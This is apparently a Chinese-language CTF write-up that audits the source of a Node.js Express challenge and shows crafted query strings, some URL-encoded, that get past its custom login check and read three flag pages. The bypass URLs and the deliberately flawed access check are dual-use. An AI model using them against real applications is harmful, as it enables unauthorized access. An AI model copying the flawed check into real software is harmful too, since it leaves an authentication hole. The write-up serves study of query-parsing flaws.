记又又一次拉练-Node.js

本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

小维

前言

这篇文章记述了又又一次的CTF拉练,node.js的白盒审计题,跟上次的记又一次CTF拉练-Node.js基本逻辑一样,感觉是得到了很多非预期解进一步限制条件~

sourceCode1源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
process.on('uncaughtException', function (err) {
console.log('Caught exception: ', err);
});

var express = require('express')
var session = require('express-session');
var fs = require('fs');
var path = require('path');
var config = require('./config');
var marked = require('marked');
var morgan = require('morgan');
var bodyParser = require('body-parser');
var AccessControl = require('express-ip-access-control');
var getflag2 = require('./getflag2');
var getflag3 = require('./getflag3');

var port = process.env.PORT;
var app = express()
var sourceCode;

marked.setOptions({
highlight: function (code) {
return require('highlight.js').highlightAuto(code).value
}
})

fs.readFile('app.js', 'utf8', (err, data) => {
if (!err) {
markdown = `\`\`\`node\n${data}\n\`\`\``;
sourceCode = marked(markdown);
}
});

fs.readFile('package.json', 'utf8', (err, data) => {
if (!err) {
markdown = `\`\`\`json\n${data}\n\`\`\``;
packageData = marked(markdown);
}
});

var options = {
mode: 'allow',
denys: [],
allows: ['10.0.0.6'],
forceConnectionAddress: false,
log: function (clientIp, access) {
if (!access)
console.log(`${clientIp} denied.`);
},
statusCode: 404,
redirectTo: '',
message: '404 Not Found...Don\'t fuck me Please......'
};

app.use(AccessControl(options));
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
app.use(express.static(path.join(__dirname, 'public')));
app.use(session({ secret: 'xxx', resave: true, saveUninitialized: true, name: 'SID' }));
morgan.format('ctf', '[ctf] [:remote-addr/:req[x-forwarded-for]] - ":method :url HTTP/:http-version" :status :res[content-length] ":referrer" ":user-agent"');
app.use(morgan('ctf'));
app.use(bodyParser.urlencoded({ limit: '100mb', extended: true, parameterLimit: 1000000 }));

app.get('/', function(req, res) {
// console.log(sourceCode);
res.render('index', {code: sourceCode});
});
// 模块信息
app.get('/package.json', function (req, res) {
res.render('index', { code: packageData });
});
// 版本信息页面
app.get('/version', function (req, res) {
data = 'Node version is: ' + process.version;
res.render('index', { code: data });
});

app.use(function (req, res, next) {
if (isProtectUrl(req.originalUrl, req.query) && (typeof req.session['username'] == 'undefined')) {
res.redirect('/');
} else {
next();
}

function isProtectUrl(url, query_url) {
var isProtectUrl = true;
// 新增匹配有 ]* 需等于]= 或 ][
var ch = /\]./g
var seg = null;
var unProtectUrl = [];
unProtectUrl.push('/login');

while ((seg = ch.exec(url)) != null) {
if (seg[0] != ']=' && seg[0] != '][')
return isProtectUrl
}
//新增了对__proto__限制
for (var i = 0; i < unProtectUrl.length; i++) {
if (unProtectUrl[i] == url || (url.indexOf('__proto__') < 0 && url.indexOf('#') < 0 && url.indexOf(unProtectUrl[i]) >= 0 && JSON.stringify(query_url).indexOf(unProtectUrl[i]) < 0)) {
isProtectUrl = false;
break;
}
}
return isProtectUrl
}
});

app.get('/login', function(req, res) {
res.render('login');
});

app.post('/login', function (req, res) {
var username = req.body['username'];
var password = req.body['password'];
if (username == config.username && password == config.password) {
req.session["username"] = "admin";
res.send("login success.");
} else {
res.send('login failed.');
}
});
// 新增了getflag1,getflag2,getflag3 将flag分开放在3个页面
app.get('/getflag1', function (req, res) {
fs.readFile('getflag2.js', 'utf8', (err, data) => {
if (!err) {
markdown = `\`\`\`node\n${data}\n\`\`\``;
sourceCode2 = marked(markdown);
}
});
res.render('flag', { flag: config.flag1, code: sourceCode2});
});

app.get('/getflag2', getflag2);
app.get('/getflag3', getflag3);

app.listen(port, '0.0.0.0', () => {
console.log(`ctf app listening at http://0.0.0.0:${port}`);
})

思路解析

首先分析代码, 先是引入一些模块,定义网站根路径加载源码,定义了package.json,Version页面提供一些版本信息,中间用isProtectUrl进行判断url中是否有相关字符等及session[‘username’]是否定义来处理请求,不包含相关字符或者未定义seesion[‘username’]则 跳转到网站根路径;定义了一个login页面,可以post验证用户名及密码,如果用户密码对了则session 赋值;定义了一个getflag1,getflag2,getflag3页面,3个页面加载flag显示。 题目主要请求访问/getflag1,/getflag2,/getflag3来查看flag文件。基本逻辑跟上次的记又一次CTF拉练-Node.js一致~~,感觉是上一次得到很多非预期解(猜的…),进一步限制了条件,上一次的升级版。

初步想法

绕过isProtectUrl(req.originalUrl, req.query)

本题考点

req.query 包含在路由中每个查询字符串参数属性的对象。如果没有,默认为{};

1、不能获取原型链的属性

2、如果没有query string,它就是一个空对象,属性的值为{}。

3、不能获取数组[]后面=前面的值(如:[]123不能获取到123)

解题步骤

getflag1对url中存在__proto__及存在]*进行了判断,根据相关特性我们可以构造getflag1?=/login getflag1?1=1&=/login getflag1?&%5b%5d/login getflag1?[][/login等进行绕过

1
2
https://xxx.xxx.xxx.com/getflag1?=/login
得到第一部分flag: Your flag is: flag{Yeah 和 sourceCode2

image-20210704134027011

sourceCode2源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
var fs = require('fs');
var config = require('./config');
var marked = require('marked');

marked.setOptions({
highlight: function (code) {
return require('highlight.js').highlightAuto(code).value
}
})

function isProtectUrl(url, query_url) {
var isProtectUrl = true;
var ch = /\]./g
var seg = null;
var unProtectUrl = [];
unProtectUrl.push('/login');
// 匹配如果有]* 需等于]=
while ((seg = ch.exec(url)) != null) {
if (seg[0] != ']=')
return isProtectUrl
}
// 新增对__proto__限制
for (var i = 0; i < unProtectUrl.length; i++) {
if (unProtectUrl[i] == url || (url.indexOf('__proto__') < 0 && url.indexOf('#') < 0 && url.indexOf(unProtectUrl[i]) >= 0 && JSON.stringify(query_url).indexOf(unProtectUrl[i]) < 0)) {
isProtectUrl = false;
break;
}
}
return isProtectUrl
}

function getflag2(req, res) {
if (isProtectUrl(req.originalUrl, req.query)) {
res.redirect('/');
} else {
fs.readFile('getflag3.js', 'utf8', (err, data) => {
if (!err) {
markdown = `\`\`\`node\n${data}\n\`\`\``;
sourceCode3 = marked(markdown);
}
});
res.render('flag', { flag: config.flag2, code: sourceCode3});
}
}

module.exports = getflag2;

getflag2也对url中存在__proto__及存在]* 看是否等于]=的判断,根据特性我们可以构造getflag1?=/login getflag1?1=1&=/login getflag1?&%5b%5d/login等进行绕过

1
2
https://xxx.xxx.xxx.xxx.com/getflag2?=/login
得到第二部分flag: Your flag is: _Yeah_Yeah_You 和 sourceCode3

image-20210704134108570

sourceCode3源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
var config = require('./config');


function isProtectUrl(url, query_url) {
var isProtectUrl = true;
var ch = /\]./g
var seg = null;
var unProtectUrl = [];
unProtectUrl.push('/login');
// 匹配有]* 需等于]=
while ((seg = ch.exec(url)) != null) {
if (seg[0] != ']=')
return isProtectUrl
}
// 新增了对__proto__,?=,&=等限制
for (var i = 0; i < unProtectUrl.length; i++) {
if (unProtectUrl[i] == url || (url.indexOf('__proto__') < 0 && url.indexOf('?=') < 0 && url.indexOf('&=') < 0 && url.indexOf('#') < 0 && url.indexOf(unProtectUrl[i]) >= 0 && JSON.stringify(query_url).indexOf(unProtectUrl[i]) < 0)) {
isProtectUrl = false;
break;
}
}
return isProtectUrl
}

function getflag3(req, res) {
if (isProtectUrl(req.originalUrl, req.query)) {
res.redirect('/');
} else {
res.render('flag', { flag: config.flag3, code: "" });
}
}

module.exports = getflag3;

getflag3 对url存在__proto__ ?= &=并匹配如果输入有]* 看是否等于]=进行了判断。这里采用将[]__proto__进行url编码绕过。

本地环境调试

getflag3?&%5b%5d/login

image-20210704132515104

getflag3?%5f%5f%70%72%6f%74%6f%5f%5f=/login

image-20210713205833461

1
2
https://xxx.xxx.xxx.xxx.com/getflag3?&%5b%5d/login 
#获取getflag3的方法同样适用getflag1,getflag2

image-20210704132912877

最后

仅供参考~

-本文结束感谢您的阅读-